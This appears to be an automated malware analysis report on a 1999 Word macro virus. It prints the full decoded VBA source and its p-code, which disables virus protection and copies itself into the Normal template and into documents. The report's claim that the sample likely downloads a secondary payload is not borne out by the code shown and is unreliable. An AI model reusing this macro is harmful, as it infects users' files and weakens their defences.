Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ceaeeaa7a31bf0c…

MALICIOUS

Office (OLE)

35.5 KB Created: 2000-03-22 12:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 348a0d7fda031cc14423078108b3b496 SHA-1: 9474eac94bf38c2bfabb0e41c2320eed072c3be1 SHA-256: 4ceaeeaa7a31bf0c8d7e194088f10757e4570358a1fedce11d03f3ce5d4d0a00
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an OLE document containing a "Document_Open" VBA macro. This macro is designed to execute automatically when the document is opened, and it attempts to disable virus protection and modify the document itself. The presence of the "Doc.Trojan.NSI-2" ClamAV signature strongly indicates malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.NSI-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NSI-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3551 bytes
SHA-256: 1a31fa5218b96e9d97ddcdc26a7f3cd971a944d50d06ed60a8476c80d9092ccb
Detection
ClamAV: Doc.Trojan.NSI-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open()
On Error Resume Next
Options.VirusProtection = 0: EnableCancelKey = 0
Set maci = MacroContainer.VBProject.vbComponents.Item(1)
Set macic = maci.codemodule
ns$ = Left(macic.lines(1, 1), 21)
Set inf = NormalTemplate: nsi$ = ns$ + "close"
If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "open"
Set infc = inf.VBProject.vbComponents
Set infi = infc.Item(1)
Set infic = infi.codemodule
For mx = 2 To infc.Count: infc.Remove infc.Item(2): Next mx
infic.deletelines 1, infic.countoflines
infic.addfromstring macic.lines(1, 17) 'count of lines!
infic.replaceline 1, nsi$
If Left(ActiveDocument.Name, 8) <> Mid$(macic.lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub 'Psycode v1.0 1999

' Processing file: /opt/analyzer/scan_staging/db43ed0675e441d790f1c03579d49023.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2446 bytes
' Line #0:
' 	FuncDefn (Private Sub document_open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St EnableCancelKey 
' Line #3:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd vbComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set maci 
' Line #4:
' 	SetStmt 
' 	Ld maci 
' 	MemLd codemodule 
' 	Set macic 
' Line #5:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld macic 
' 	ArgsMemLd lines 0x0002 
' 	LitDI2 0x0015 
' 	ArgsLd LBound 0x0002 
' 	St ns$ 
' Line #6:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set inf 
' 	BoS 0x0000 
' 	Ld ns$ 
' 	LitStr 0x0005 "close"
' 	Add 
' 	St nsi$ 
' Line #7:
' 	Ld MacroContainer 
' 	Ld inf 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set inf 
' 	BoS 0x0000 
' 	Ld ns$ 
' 	LitStr 0x0004 "open"
' 	Add 
' 	St nsi$ 
' 	EndIf 
' Line #8:
' 	SetStmt 
' 	Ld inf 
' 	MemLd VBProject 
' 	MemLd vbComponents 
' 	Set infc 
' Line #9:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld infc 
' 	ArgsMemLd Item 0x0001 
' 	Set infi 
' Line #10:
' 	SetStmt 
' 	Ld infi 
' 	MemLd codemodule 
' 	Set infic 
' Line #11:
' 	StartForVariable 
' 	Ld mx 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld infc 
' 	MemLd Count 
' 	For 
' 	BoS 0x0000 
' 	LitDI2 0x0002 
' 	Ld infc 
' 	ArgsMemLd Item 0x0001 
' 	Ld infc 
' 	ArgsMemCall Remove 0x0001 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld mx 
' 	EndForVariable 
' 	NextVar 
' Line #12:
' 	LitDI2 0x0001 
' 	Ld infic 
' 	MemLd countoflines 
' 	Ld infic 
' 	ArgsMemCall deletelines 0x0002 
' Line #13:
' 	LitDI2 0x0001 
' 	LitDI2 0x0011 
' 	Ld macic 
' 	ArgsMemLd lines 0x0002 
' 	Ld infic 
' 	ArgsMemCall addfromstring 0x0001 
' 	QuoteRem 0x0027 0x000F "count of lines!"
' Line #14:
' 	LitDI2 0x0001 
' 	Ld nsi$ 
' 	Ld infic 
' 	ArgsMemCall replaceline 0x0002 
' Line #15:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld macic 
' 	ArgsMemLd lines 0x0002 
' 	LitDI2 0x000D 
' 	LitDI2 0x0008 
' 	ArgsLd Mid$$ 0x0003 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #16:
' 	EndSub 
' 	QuoteRem 0x0008 0x0011 "Psycode v1.0 1999"